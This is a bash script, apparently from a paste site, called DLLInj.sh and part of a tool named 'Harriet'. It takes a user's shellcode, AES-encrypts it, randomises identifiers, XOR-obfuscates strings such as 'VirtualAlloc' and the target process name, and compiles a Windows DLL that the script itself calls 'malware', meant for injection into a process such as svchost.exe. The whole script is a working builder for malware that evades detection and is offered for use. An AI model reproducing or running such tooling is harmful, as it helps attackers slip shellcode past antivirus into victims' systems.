DLLInj.sh 5.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. ______ _____ _ _ _ ______ _ _
  13. | ___ \ |_ _| (_) | | (_) | _ \ | | |
  14. | |_/ / __ ___ ___ ___ ___ ___ | | _ __ _ ___ ___| |_ _ ___ _ __ | | | | | | |
  15. | __/ '__/ _ \ / __/ _ \/ __/ __| | || '_ \| |/ _ \/ __| __| |/ _ \| '_ \ | | | | | | |
  16. | | | | | (_) | (_| __/\__ \__ \ _| || | | | | __/ (__| |_| | (_) | | | | | |/ /| |____| |____
  17. \_| |_| \___/ \___\___||___/___/ \___/_| |_| |\___|\___|\__|_|\___/|_| |_| |___/ \_____/\_____/
  18. _/ |
  19. |__/
  20. EOF
  21. echo -e ${green}"Enter The Path To Your Shellcode File. ex: /home/user/Downloads/shellcode.bin"${clear}
  22. echo ""
  23. read Shellcode
  24. echo ""
  25. echo -e ${green}"Enter The Process To Inject To! ex: svchost.exe"${clear}
  26. echo ""
  27. read SVCHOST
  28. echo ""
  29. echo -e ${green}"Name Your Malware! ex: malware.dll"${clear}
  30. echo ""
  31. read MALWARE
  32. echo ""
  33. #Copying Templates
  34. cp Harriet/DLLInj/xor.py Harriet/DLLInj/Resources/xor.py
  35. cp Harriet/DLLInj/template.cpp Harriet/DLLInj/Resources/template.cpp
  36. echo -e ${yellow}"+++Encrypting Payload+++" ${clear}
  37. echo ""
  38. sleep 2
  39. #Getting AES Values
  40. python3 Harriet/DLLInj/Resources/aesencrypt.py $Shellcode > shell.txt
  41. echo -e ${yellow}"***Encryption Completed***"${clear}
  42. echo ""
  43. #REPLACING VALUES
  44. cp shell.txt shell2.txt
  45. #AES REPLACEMENTS
  46. keys=$(cat "shell2.txt")
  47. cut -d 'p' -f1 shell2.txt > shell3.txt
  48. keys=$(cat shell3.txt)
  49. keysnow=${keys#*=}
  50. sed -i "s/KEYVALUE/$keysnow/g" Harriet/DLLInj/Resources/template.cpp
  51. payload=$(cat "shell.txt")
  52. payloadnow=${payload#*;}
  53. payloadtoday=${payloadnow#*=}
  54. echo $payloadtoday > shell5.txt
  55. perl -pe 's/PAYVAL/`cat shell5.txt`/ge' -i Harriet/DLLInj/Resources/template.cpp
  56. sleep 2
  57. #RANDOM VALUE REPLACEMENTS
  58. #AESDecrypt
  59. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-20} | head -n 1 > shell.txt
  60. Random1=$(cat shell.txt)
  61. sed -i "s/Random1/$Random1/g" Harriet/DLLInj/Resources/template.cpp
  62. #FindTarget
  63. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-18} | head -n 1 > shell.txt
  64. Random2=$(cat shell.txt)
  65. sed -i "s/Random2/$Random2/g" Harriet/DLLInj/Resources/template.cpp
  66. #Inject
  67. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-10} | head -n 1 > shell.txt
  68. Random3=$(cat shell.txt)
  69. sed -i "s/Random3/$Random3/g" Harriet/DLLInj/Resources/template.cpp
  70. #AES KEY
  71. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-8} | head -n 1 > shell.txt
  72. Random4=$(cat shell.txt)
  73. sed -i "s/Random4/$Random4/g" Harriet/DLLInj/Resources/template.cpp
  74. #AES Payload
  75. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-11} | head -n 1 > shell.txt
  76. Random5=$(cat shell.txt)
  77. sed -i "s/Random5/$Random5/g" Harriet/DLLInj/Resources/template.cpp
  78. #VIRTUALALLOC VARIABLE NAME
  79. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-11} | head -n 1 > shell.txt
  80. Random6=$(cat shell.txt)
  81. sed -i "s/Random6/$Random6/g" Harriet/DLLInj/Resources/template.cpp
  82. #XOR FUNCTION VARIABLE NAME
  83. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-11} | head -n 1 > shell.txt
  84. Random7=$(cat shell.txt)
  85. sed -i "s/Random7/$Random7/g" Harriet/DLLInj/Resources/template.cpp
  86. #Exec VARIABLE
  87. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-9} | head -n 1 > shell.txt
  88. Random8=$(cat shell.txt)
  89. sed -i "s/Random8/$Random8/g" Harriet/DLLInj/Resources/template.cpp
  90. #PROCESS NAME VARIABLE
  91. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-6} | head -n 1 > shell.txt
  92. Random9=$(cat shell.txt)
  93. sed -i "s/Random9/$Random9/g" Harriet/DLLInj/Resources/template.cpp
  94. #XOR KEY VALUE
  95. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-15} | head -n 1 > shell.txt
  96. XOR_KEY=$(cat shell.txt)
  97. sed -i "s/XOR_KEY/$XOR_KEY/g" Harriet/DLLInj/Resources/template.cpp
  98. sed -i "s/XOR_KEY/$XOR_KEY/g" Harriet/DLLInj/Resources/xor.py
  99. #XOR KEY VARIABLE
  100. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-17} | head -n 1 > shell.txt
  101. XOR_VARIABLE=$(cat shell.txt)
  102. sed -i "s/XOR_VARIABLE/$XOR_VARIABLE/g" Harriet/DLLInj/Resources/template.cpp
  103. #VIRTUALALLOC - Variable Name
  104. cat /proc/sys/kernel/random/uuid | sed 's/[-]//g' | head -c 20 > virtualalloc.txt
  105. VIRT_ALLOC=$(cat "virtualalloc.txt")
  106. sed -i "s/Alloc_Virtual/$VIRT_ALLOC/g" Harriet/DLLInj/Resources/template.cpp
  107. rm virt*
  108. #VIRTUALALLOC - XOR String
  109. echo VirtualAlloc > virt.txt
  110. python Harriet/DLLInj/Resources/xor.py virt.txt > virtalloc.txt
  111. virt=$(cat virtalloc.txt)
  112. virt2="${virt::-8}"
  113. sed -i "s/VIRALO/$virt2/g" Harriet/DLLInj/Resources/template.cpp
  114. rm virt*
  115. #PROCESS STRING
  116. echo $SVCHOST > proc.txt
  117. python Harriet/DLLInj/Resources/xor.py proc.txt > proc2.txt
  118. process=$(cat proc2.txt)
  119. process2="${process::-8}"
  120. sed -i "s/PROCY/$process2/g" Harriet/DLLInj/Resources/template.cpp
  121. rm proc*
  122. #Compiling Malware
  123. echo -e ${yellow}"+++Compiling Malware+++"${clear}
  124. x86_64-w64-mingw32-g++ -shared -o $MALWARE Harriet/DLLInj/Resources/template.cpp -lcomctl32 -Wl,--subsystem,windows -fpermissive -Wno-narrowing >/dev/null 2>&1
  125. echo ""
  126. sleep 2
  127. rm shell*
  128. echo -e ${yellow}"***Malware Compiled***"${clear}